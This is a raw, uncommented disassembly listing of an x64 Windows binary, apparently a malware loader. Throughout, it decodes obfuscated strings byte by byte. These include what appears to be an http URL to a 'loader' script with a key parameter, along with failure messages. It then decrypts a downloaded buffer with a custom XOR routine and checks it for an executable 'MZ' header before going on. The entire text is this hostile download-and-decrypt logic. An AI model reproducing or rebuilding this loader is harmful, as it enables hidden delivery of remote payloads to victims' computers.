mov byte [rbp + 0xac8], al
mov r9d, r13d
lea r8d, [r13 - 0x26]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xac9], al
mov r9d, r13d
lea r8d, [r13 - 0x25]
mov dl, r15b
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xaca], al
mov r9d, r13d
lea r8d, [r13 - 0x24]
mov dl, Ordinal_41
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xacb], al
mov r9d, r13d
lea r8d, [r13 - 0x23]
mov dl, 0x57
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xacc], al
mov r9d, r13d
lea r8d, [r13 - 0x22]
mov dl, 0x61
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xacd], al
mov r9d, r13d
lea r8d, [r13 - 0x21]
mov dl, WSAStartup
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xace], al
mov r9d, r13d
lea r8d, [r13 - 0x20]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xacf], al
mov r9d, r13d
lea r8d, [r13 - 0x1f]
mov dl, 0x69
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xad0], al
mov r9d, r13d
mov r8d, r15d
mov dl, WSAGetLastError
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xad1], al
mov r9d, r13d
lea r8d, [r13 - 0x1d]
mov dl, 0x67
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xad2], al
mov r9d, r13d
lea r8d, [r13 - 0x1c]
mov dl, 0x3a
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xad3], al
mov r9d, r13d
lea r8d, [r13 - 0x1b]
mov dl, r15b
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xad4], al
mov r9d, r13d
lea r8d, [r13 - 0x1a]
mov dl, 0x54
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xad5], al
mov r9d, r13d
lea r8d, [r13 - 0x19]
mov dl, 0x68
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xad6], al
mov r9d, r13d
lea r8d, [r13 - 0x18]
mov dl, 0x69
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xad7], al
mov r9d, r13d
lea r8d, [r13 - 0x17]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xad8], al
mov r9d, r13d
lea r8d, [r13 - 0x16]
mov dl, r15b
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xad9], al
mov r9d, r13d
lea r8d, [r13 - 0x15]
mov dl, 0x6d
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xada], al
mov r9d, r13d
lea r8d, [r13 - 0x14]
mov dl, 0x69
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xadb], al
mov r9d, r13d
lea r8d, [r13 - 0x13]
mov dl, 0x67
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xadc], al
mov r9d, r13d
lea r8d, [r13 - 0x12]
mov dl, 0x68
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xadd], al
mov r9d, r13d
lea r8d, [r13 - 0x11]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xade], al
mov r9d, r13d
lea r8d, [r13 - 0x10]
mov dl, r15b
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xadf], al
mov r9d, r13d
lea r8d, [r13 - 0xf]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xae0], al
mov r9d, r13d
lea r8d, [r13 - 0xe]
mov dl, 0x61
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xae1], al
mov r9d, r13d
lea r8d, [r13 - 0xd]
mov dl, 0x6b
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xae2], al
mov r9d, r13d
lea r8d, [r13 - 0xc]
mov dl, 0x65
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xae3], al
mov r9d, r13d
lea r8d, [r13 - 0xb]
mov dl, r15b
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xae4], al
mov r9d, r13d
lea r8d, [r13 - 0xa]
mov dl, 0x61
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xae5], al
mov r9d, r13d
lea r8d, [r13 - 9]
mov dl, r15b
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xae6], al
mov r9d, r13d
lea r8d, [r13 - 8]
mov dl, 0x77
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xae7], al
mov r9d, r13d
lea r8d, [r13 - 7]
mov dl, 0x68
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xae8], al
mov r9d, r13d
lea r8d, [r13 - 6]
mov dl, 0x69
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xae9], al
mov r9d, r13d
lea r8d, [r13 - 5]
mov dl, 0x6c
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xaea], al
mov r9d, r13d
lea r8d, [r13 - 4]
mov dl, 0x65
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xaeb], al
mov r9d, r13d
lea r8d, [r13 - 3]
mov dl, reloc.WLDAP32.dll_Ordinal_33
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xaec], al
mov r9d, r13d
lea r8d, [r13 - 2]
mov dl, reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xaed], al
mov r9d, r13d
lea edx, [rdi - 9]
lea r8d, [r13 - 1]
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + 0xaee], al
xor eax, eax
mov byte [rbp + 0xaef], al
mov r13d, eax
lea ebx, [rdi - 0x12]
mov r9d, 0x3e
mov r8, r13
mov dl, byte [rbp + r13 + 0xab1]
lea rcx, [rbp + 0xab0]
call fcn.140035b90
mov byte [rbp + r13 + 0xab1], al
add r13, rbx
cmp r13, 0x3e
jb 0x14001d7d4
xor eax, eax
mov byte [rbp + 0xaef], al
lea rcx, [rbp + 0xab1]
call fcn.140005ba8
mov byte [rbp + 0x9c8], reloc.WLDAP32.dll_Ordinal_35
mov ebx, gethostname
mov r9d, ebx
xor r8d, r8d
mov dl, 0x68
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9c9], al
mov r9d, ebx
lea r8d, [rbx - 0x35]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9ca], al
mov r9d, ebx
lea r8d, [rbx - 0x34]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9cb], al
mov r9d, ebx
lea r8d, [rbx - 0x33]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9cc], al
mov r9d, ebx
lea r8d, [rbx - 0x32]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9cd], al
mov r9d, ebx
lea r8d, [rbx - 0x31]
mov dl, 0x3a
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9ce], al
mov r9d, ebx
lea r8d, [rbx - 0x30]
mov dl, 0x2f
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9cf], al
mov r9d, ebx
lea r8d, [rbx - 0x2f]
mov dl, 0x2f
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9d0], al
mov r9d, ebx
lea r8d, [rbx - 0x2e]
mov dl, 0x68
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9d1], al
mov r9d, ebx
lea r8d, [rbx - 0x2d]
mov dl, 0x61
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9d2], al
mov r9d, ebx
lea r8d, [rbx - 0x2c]
mov dl, WSAStartup
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9d3], al
mov r9d, ebx
lea r8d, [rbx - 0x2b]
mov dl, 0x76
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9d4], al
mov r9d, ebx
lea r8d, [rbx - 0x2a]
mov dl, 0x65
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9d5], al
mov r9d, ebx
lea r8d, [rbx - 0x29]
mov dl, 0x79
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9d6], al
mov r9d, ebx
lea r8d, [rbx - 0x28]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9d7], al
mov r9d, ebx
lea r8d, [rbx - 0x27]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9d8], al
mov r9d, ebx
lea r13d, [rbx - 0x26]
mov r8d, r13d
mov dl, 0x65
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9d9], al
mov r9d, ebx
lea ebx, [r9 - 0x25]
mov r8d, ebx
mov dl, 0x63
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9da], al
lea r9d, [r13 + 0x26]
lea r8d, [r13 + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9db], al
lea r9d, [r13 + 0x26]
mov r8, rdi
mov dl, 0x65
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9dc], al
lea r9d, [r13 + 0x26]
mov r8, rsi
mov dl, WSAStartup
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9dd], al
lea esi, [rbx + 0x25]
mov r9d, esi
mov r8, r12
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9de], al
mov r9d, esi
lea r8d, [r13 + 6]
mov dl, 0x6c
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9df], al
mov r9d, esi
mov r8, r14
mov dl, 0x69
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9e0], al
mov r9d, esi
lea r8d, [r13 + 8]
mov dl, 0x66
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9e1], al
mov r9d, esi
lea r8d, [r13 + 9]
mov dl, 0x65
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9e2], al
mov r9d, esi
lea r8d, [r13 + 0xa]
mov dl, 0x2f
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9e3], al
mov r9d, esi
lea r8d, [r13 + 0xb]
mov dl, 0x4c
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9e4], al
mov r9d, esi
lea r8d, [r13 + 0xc]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9e5], al
mov r9d, esi
lea r8d, [r13 + 0xd]
mov dl, 0x61
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9e6], al
mov r9d, esi
lea r8d, [r13 + 0xe]
mov dl, 0x64
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9e7], al
mov r9d, esi
lea r8d, [r13 + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9e8], al
mov r9d, esi
mov r8, r15
mov dl, WSAStartup
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9e9], al
mov r9d, esi
lea r8d, [r13 + 0x11]
mov dl, 0x41
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9ea], al
mov r9d, esi
lea r8d, [r13 + 0x12]
mov dl, 0x75
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9eb], al
mov r9d, esi
lea r8d, [r13 + 0x13]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9ec], al
mov r9d, esi
lea r8d, [r13 + 0x14]
mov dl, 0x68
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9ed], al
mov r9d, esi
lea r8d, [r13 + 0x15]
mov dl, 0x2f
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9ee], al
mov r9d, esi
lea r8d, [r13 + 0x16]
mov dl, 0x6c
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9ef], al
mov r9d, esi
lea r8d, [r13 + 0x17]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9f0], al
mov r9d, esi
lea r8d, [r13 + 0x18]
mov dl, 0x61
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9f1], al
mov r9d, esi
lea r8d, [r13 + 0x19]
mov dl, 0x64
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9f2], al
mov r9d, esi
lea r8d, [r13 + 0x1a]
mov dl, 0x65
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9f3], al
mov r9d, esi
lea r8d, [r13 + 0x1b]
mov dl, WSAStartup
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9f4], al
mov r9d, esi
lea r8d, [r13 + 0x1c]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9f5], al
mov r9d, esi
lea r8d, [r13 + 0x1d]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9f6], al
mov r9d, esi
lea r8d, [r13 + 0x1e]
mov dl, 0x68
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9f7], al
mov r9d, esi
lea r8d, [r13 + 0x1f]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9f8], al
mov r9d, esi
lea r8d, [r13 + 0x20]
mov dl, 0x3f
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9f9], al
mov r9d, esi
lea r8d, [r13 + 0x21]
mov dl, 0x63
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9fa], al
mov r9d, esi
lea r8d, [r13 + 0x22]
mov dl, 0x6b
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9fb], al
mov r9d, esi
lea r8d, [r13 + 0x23]
mov dl, 0x65
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9fc], al
mov r9d, esi
lea r8d, [r13 + 0x24]
mov dl, 0x79
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9fd], al
mov r9d, esi
lea r8d, [r13 + 0x25]
mov dl, 0x3d
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + 0x9fe], al
xor eax, eax
mov byte [rbp + 0x9ff], al
mov r12d, eax
lea esi, [rbx - 0x10]
mov r9d, gethostname
mov r8, r12
mov dl, byte [rbp + r12 + 0x9c9]
lea rcx, [rbp + 0x9c8]
call fcn.1400361ac
mov byte [rbp + r12 + 0x9c9], al
add r12, rsi
cmp r12, 0x36
jb 0x14001dde8
xor eax, eax
mov byte [rbp + 0x9ff], al
lea rdx, [rbp + 0x9c9]
lea rcx, [rbp + 0xfa0]
call fcn.140036a08
lea rcx, [rbp + 0xc38]
call fcn.14001bbac
lea rcx, [rbp + 0xb28]
mov qword [rsp + 0x20], rcx
mov r9d, 8
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0xf80]
call fcn.140036b74
lea rcx, [rbp + 0xc38]
call fcn.140036920
lea r8, [rbp + 0xf80]
lea rdx, [rbp + 0xfa0]
lea rcx, [rbp + 0xfe0]
call fcn.140036ed4
lea rcx, [rbp + 0xf80]
call fcn.140036764
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.14009cb70
mov qword [rsp + 0x68], rax
mov dl, byte [rbp + 0xb28]
lea rcx, [rbp + 0xed8]
call fcn.140037070
lea rcx, [rbp + 0xed8]
call fcn.140036b60
nop
lea rcx, [rbp + 0xfe0]
call fcn.140036764
mov r9b, sil
xor r8d, r8d
lea rdx, [rbp + 0xed8]
mov rcx, rax
call fcn.14001b760
lea rdx, [rbp + 0xed8]
lea rcx, [rbp + 0xcb8]
call fcn.140036a3c
mov rdx, rax
lea rcx, [rbp + 0xc58]
call fcn.14001bd18
mov rdx, rax
lea rcx, [rbp + 0xed8]
call fcn.14003697c
lea rcx, [rbp + 0xc58]
call fcn.140036920
xor edx, edx
lea rcx, [rbp + 0xfa0]
call fcn.140036b4c
mov rcx, qword [rbp + 0xee8]
call fcn.1400a03b0
mov rcx, rax
mov qword [rbp + 0xbc8], rax
mov rax, qword [rbp + 0xee8]
mov qword [rbp - 0x30], rax
test rcx, rcx
mov esi, reloc.WS2_32.dll_sendto
lea r12d, [rsi + 1]
je 0x14003568c
test rax, rax
je 0x14003568c
lea rcx, [rbp + 0xed8]
call fcn.140036764
mov rdx, rax
mov r8, qword [rbp - 0x30]
mov rcx, qword [rbp + 0xbc8]
call fcn.1400bc500
xor edx, edx
lea rcx, [rbp + 0xed8]
call fcn.140036b4c
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x68], rax
movabs rax, 0xffecca5938
mov qword [rbp - 0x50], rax
xor r10d, r10d
mov qword [rbp + 0xea0], r10
mov r9d, r10d
mov r8d, r10d
lea r10d, [rsi - 0x13]
lea eax, [r9 + 1]
mov r9d, eax
movzx ecx, byte [rsp + r8 + 0x68]
imul ecx, eax
movzx eax, byte [rbp + r8 - 0x50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + r8 + 0xea0], cl
add r8, r10
cmp r9d, 8
jb 0x14001dfc6
movabs rax, 0x8080808080808081
mov r8, qword [rbp - 0x30]
test r8, r8
je 0x14001e109
xor r13d, r13d
mov ecx, r13d
mul r8
mov r9, rdx
shr r9, 7
add r9b, r8b
mov r10, qword [rbp + 0xbc8]
mov r14d, r13d
lea ebx, [r13 + 1]
and ecx, 7
mov dil, byte [rbp + rcx + 0xea0]
mov al, r9b
xor al, dil
mov byte [rbp - 0x38], al
mov byte [rbp + 0xb29], dil
mov r11d, r13d
lea r8, [rbp + 0xea0]
movabs r13, 0x8080808080808081
movzx ecx, byte [r8]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xea0]
mov rax, r13
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
add r11d, ebx
add r8, rbx
cmp r11d, 8
jb 0x14001e071
movzx ecx, byte [rbp + 0xb29]
movzx eax, byte [rbp - 0x38]
add ecx, eax
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r10]
sub dil, cl
mov byte [r10], dil
add r14d, ebx
add r10, rbx
movsxd rcx, r14d
cmp rcx, qword [rbp - 0x30]
mov r13d, 0
jb 0x14001e042
lea ebx, [r13 + 0x11]
lea edi, [rbx + 2]
lea r14d, [r13 + 0x17]
lea r13d, [rbx - 1]
mov eax, 0x5a4d
mov rcx, qword [rbp + 0xbc8]
xor r8d, r8d
cmp word [rcx], ax
je 0x14001e9a6
mov byte [rbp + 0x308], reloc.WLDAP32.dll_Ordinal_79
mov r9, rbx
mov dl, 0x42
lea rcx, [rbp + 0x308]
call fcn.140035de8
mov byte [rbp + 0x309], al
mov r9, rbx
mov r12d, 1
mov r8d, r12d
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x308]
call fcn.140035de8
mov byte [rbp + 0x30a], al
mov r9, rbx
lea r8d, [r12 + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x308]
call fcn.140035de8
mov byte [rbp + 0x30b], al
mov r9, rbx
lea r8d, [r12 + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x308]
call fcn.140035de8
mov byte [rbp + 0x30c], al
mov r9, rbx
lea r8d, [r12 + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x308]
call fcn.140035de8
mov byte [rbp + 0x30d], al
mov r9, rbx
lea r8d, [r12 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x308]
call fcn.140035de8
mov byte [rbp + 0x30e], al
mov r9, rbx
lea r8d, [r12 + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x308]
call fcn.140035de8
mov byte [rbp + 0x30f], al
mov r9, rbx
lea r8d, [r12 + 6]
mov dl, 0x61
lea rcx, [rbp + 0x308]
call fcn.140035de8
mov byte [rbp + 0x310], al
mov r9, rbx
lea r8d, [r12 + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x308]
call fcn.140035de8
mov byte [rbp + 0x311], al
mov r9, rbx
lea r8d, [r12 + 8]
mov dl, r15b
lea rcx, [rbp + 0x308]
call fcn.140035de8
mov byte [rbp + 0x312], al
mov r9, rbx
lea r8d, [r12 + 9]
mov dl, 0x46
lea rcx, [rbp + 0x308]
call fcn.140035de8
mov byte [rbp + 0x313], al
mov r9, rbx
lea r8d, [r12 + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x308]
call fcn.140035de8
mov byte [rbp + 0x314], al
mov r9, rbx
lea r8d, [r12 + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x308]
call fcn.140035de8
mov byte [rbp + 0x315], al
mov r9, rbx
lea r8d, [r12 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x308]
call fcn.140035de8
mov byte [rbp + 0x316], al
mov r9, rbx
lea r8d, [r12 + 0xd]
mov dl, 0x75
lea rcx, [rbp + 0x308]
call fcn.140035de8
mov byte [rbp + 0x317], al
mov r9, rbx
lea r8d, [r12 + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x308]
call fcn.140035de8
mov byte [rbp + 0x318], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x308]
call fcn.140035de8
mov byte [rbp + 0x319], al
xor eax, eax
mov byte [rbp + 0x31a], al
mov esi, eax
mov r9, rbx
mov r8, rsi
mov dl, byte [rbp + rsi + 0x309]
lea rcx, [rbp + 0x308]
call fcn.140035de8
mov byte [rbp + rsi + 0x309], al
add rsi, r12
cmp rsi, rbx
jb 0x14001e30c
xor eax, eax
mov byte [rbp + 0x31a], al
mov byte [rbp + 0xa70], Ordinal_27
lea esi, [rax + 0x39]
mov r9d, esi
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa71], al
mov r9d, esi
mov r8, r12
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa72], al
mov r9d, esi
lea r8d, [rsi - 0x37]
mov dl, 0x76
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa73], al
mov r9d, esi
lea r8d, [rsi - 0x36]
mov dl, 0x61
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa74], al
mov r9d, esi
lea r8d, [rsi - 0x35]
mov dl, 0x6c
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa75], al
mov r9d, esi
lea r8d, [rsi - 0x34]
mov dl, 0x69
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa76], al
mov r9d, esi
lea r8d, [rsi - 0x33]
mov dl, 0x64
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa77], al
mov r9d, esi
lea r8d, [rsi - 0x32]
mov dl, r15b
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa78], al
mov r9d, esi
lea r8d, [rsi - 0x31]
mov dl, 0x50
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa79], al
mov r9d, esi
lea r8d, [rsi - 0x30]
mov dl, WSAStartup
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa7a], al
mov r9d, esi
lea r8d, [rsi - 0x2f]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa7b], al
mov r9d, esi
lea r8d, [rsi - 0x2e]
mov dl, 0x63
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa7c], al
mov r9d, esi
lea r8d, [rsi - 0x2d]
mov dl, 0x65
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa7d], al
mov r9d, esi
lea r8d, [rsi - 0x2c]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa7e], al
mov r9d, esi
lea r8d, [rsi - 0x2b]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa7f], al
mov r9d, esi
lea r8d, [rsi - 0x2a]
mov dl, 0x65
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa80], al
mov r9d, esi
mov r8, r13
mov dl, 0x64
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa81], al
mov r9d, esi
mov r8, rbx
mov dl, r15b
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa82], al
mov r9d, esi
lea r8d, [rsi - 0x27]
mov dl, 0x44
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa83], al
mov r9d, esi
mov r8, rdi
mov dl, 0x61
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa84], al
mov r9d, esi
lea r8d, [rsi - 0x25]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa85], al
mov r9d, esi
lea r8d, [rsi - 0x24]
mov dl, 0x61
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa86], al
mov r9d, esi
lea r8d, [rsi - 0x23]
mov dl, r15b
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa87], al
mov r9d, esi
mov r8, r14
mov dl, Ordinal_41
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa88], al
mov r9d, esi
lea r8d, [rsi - 0x21]
mov dl, 0x41
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa89], al
mov r9d, esi
lea r8d, [rsi - 0x20]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa8a], al
mov r9d, esi
lea r8d, [rsi - 0x1f]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa8b], al
mov r9d, esi
lea r8d, [rsi - 0x1e]
mov dl, 0x65
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa8c], al
mov r9d, esi
lea r8d, [rsi - 0x1d]
mov dl, 0x6d
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa8d], al
mov r9d, esi
lea r8d, [rsi - 0x1c]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa8e], al
mov r9d, esi
lea r8d, [rsi - 0x1b]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa8f], al
mov r9d, esi
lea r8d, [rsi - 0x1a]
mov dl, r15b
lea rcx, [rbp + 0xa70]
